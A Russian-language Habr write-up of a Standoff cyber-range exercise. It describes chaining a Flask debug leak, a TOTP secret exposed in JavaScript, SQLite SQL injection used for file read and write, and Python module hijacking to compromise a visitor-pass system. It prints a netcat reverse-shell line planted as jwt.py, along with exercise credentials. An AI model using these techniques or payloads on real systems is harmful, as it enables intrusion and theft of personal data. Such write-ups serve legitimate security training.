
Привет, Хабр! На связи @mirez, в этой статье я подробно разберу, как решал задачу по получению бэкапа базы данных на киберучениях Standoff Standalone. Нашей целью была система управления гостями PassOffice, которую используют в бизнес-центрах.
Мы пройдем все этапы: от обнаружения уязвимости в debug-режиме Flask до получения полного контроля над сервером. В процессе исследуем обход двухфакторной аутентификации, SQL-инъекцию и подмену библиотек для выполнения произвольного кода.
Этот кейс наглядно демонстрирует, как цепь из нескольких уязвимостей приводит к критически опасному инциденту. Материал будет полезен как специалистам по безопасности, так и разработчикам, желающим понять типовые ошибки в защите веб-приложений.
Для начала добавим контекста и немного поговорим про саму целевую систему. PassOffice обрабатывает конфиденциальную информацию, такую как паспортные и персональные данные посетителей, а также номера пропусков. Ее компрометация не только грозит крупной утечкой, но и угрожает физической безопасности объекта. Моей задачей было доказать эту угрозу, получив доступ к резервной копии базы данных.
По пути к финальному флагу я обнаружил целый ряд других уязвимостей. Они охватывали все уровни приложения, начиная от конфигурации и заканчивая логикой работы. Основные проблемы включали утечку данных, недостатки авторизации, возможность SQL-инъекций и ошибки конфигурации. Далее я детально разберу каждый этап атаки, и вы увидите, как несколько грубых ошибок привели к полному контролю хакера над системой.
Неверный запрос — правильные данные: неожиданная находка в ответе дебагера Flask
Первое, что я увидел, перейдя по целевому адресу, — это форма входа в систему PassOffice. Она запрашивала два параметра — DN (Distinguished Name) и пароль. Что же, стандартная картина для корпоративного портала.
Я решил посмотреть, как форма отправляет данные, и перехватил запрос. Возникла мысль: а что будет, если нарушить логику? Я удалил один из параметров и отправил измененный запрос.

Вместо стандартной ошибки сервер вернул нечто гораздо более интересное: оказалось, разработчики забыли отключить debug-режим Flask для продакшена.
В ответе дебагера содержался путь до server.py и в открытом виде лежали валидные учетные данные для входа: логин lstage/sfowler и пароль LacEnHOmYstoReBERaYFIc.

Мне оставалось лишь вставить их в форму входа и получить доступ к системе.
Получение доступа: использование найденных учетных данных (lstage/sfowler)
Успешный вход открыл доступ к учетке операционного менеджера John Doe. Я попробовал сгенерировать новый ключ доступа — в ответ сервер установил куки passkey, но никаких флагов или интересных данных там не было.
Продолжив разведку, я изучил JavaScript-файл /_app/immutable/entry/app.6Ma3HJXs.js и наткнулся на любопытные конечные точки: /totp и /admin-console.

Попытка перейти в админку сразу же перебросила меня на страницу ввода одноразового пароля — time-based one-time password, TOTP. К моей удаче, все необходимые данные лежали в одном из JavaScript-файлов — /_app/immutable/nodes/6.BEUVKr9R.js.

Там я обнаружил TOTP-секрет NBUWWYLSNFQXIYLN и параметры генерации: период в 600 секунд и 10 цифр в коде.
Я скопировал его в онлайн-генератор TOTP, получил валидный код и ввел его на странице. Система приняла код и наконец-то пустила меня в панель администратора. Очередной барьер был успешно преодолен.
От учетки менеджера до панели админа — эскалация привилегий через уязвимую 2FA
Панель администратора встретила меня скупым сообщением о том, что все пропуска скрыты из-за технических работ. Изучив исходный код страницы, я обнаружил любопытную подсказку: {"search_params":["uuid"]}, которая намекала на возможность поиска по UUID.
Я попробовал прописать GET-параметр UUID в запросе к странице — ответ был предсказуемым: «User not found».

Немного поэкспериментировав с функцией version(), я выяснил, что в качестве базы данных используется SQLite, а данные можно извлечь с помощью Union Based SQL Injection с тремя столбцами. Я быстро определил структуру и узнал, какие столбцы находятся в таблице users. Однако попытка извлечь данные не принесла успеха: база оказалась пустой, а значит, нужно было искать бэкап.

Тогда я сменил тактику и решил использовать функции SQLite для чтения файлов. С помощью readfile() я прочитал содержимое /etc/passwd, что подтвердило возможность Local File Inclusion.

Далее я воспользовался тем, что в ответе дебагера был указан путь к файлу — /opt/passoffice/backend/server.py, — и изучил его код. К сожалению, в нем не было никаких чувствительных данных, а значит, нужно было копать дальше.
Финальный рывок через RCE и подмену модуля
Возможность читать файлы была полезна, но для достижения цели нужен был полный контроль. Я обнаружил, что через SQL-инъекцию можно не только читать, но и записывать файлы с помощью функции writefile(). Это открывало путь к самой интересной части атаки — подмене модуля (Module Hijacking).

Из кода server.py было понятно, что приложение использует модули os, time и JWT (JSON Web Tokens). Поэтому я решил подменить один из них, создав в каталоге /opt/passoffice/backend свой файл jwt.py, в котором будет прописан наш вредоносный код:
import os;os.system("nc -c sh IP PORT")
Эта команда должна была инициировать reverse shell, чтобы заставить целевой сервер самостоятельно подключиться к моему IP-адресу и предоставить доступ к своей командной оболочке. После этого оставалось лишь вызвать любой эндпойнт, использующий JWT, и получить долгожданное соединение вместе с флагом RCE.

Но главная цель — бэкап базы — была еще впереди. Я начал поиск, и обнаружил бэкап в каталоге /opt/passoffice/frontend/ — файл db-backup-2025-07-01-11-47-48-00-00.sqlite.

Далее с помощью запроса SELECT * FROM users я обнаружил нужную запись: пользователя Devyn Cronin.

Осталось только найти в соответствующей колонке passkey и сдать финальный флаг; мы реализовали недопустимое событие.
Этот кейс наглядно показал, как цепь из уязвимостей — от некорректно настроенного debug-режима до неправильной обработки SQL-запросов — привела к компрометации системы. PassOffice содержал критически важные данные, но ошибки на каждом уровне защиты позволили получить к ним доступ. Для разработчиков это повод проверить настройку окружения, убрать чувствительные данные из кода и усилить валидацию входных параметров.
Если вы тоже любите искать баги в защите, присоединяйтесь к сообществу Standoff в Telegram или Discord и делитесь своими кейсами. До встречи на киберполигоне!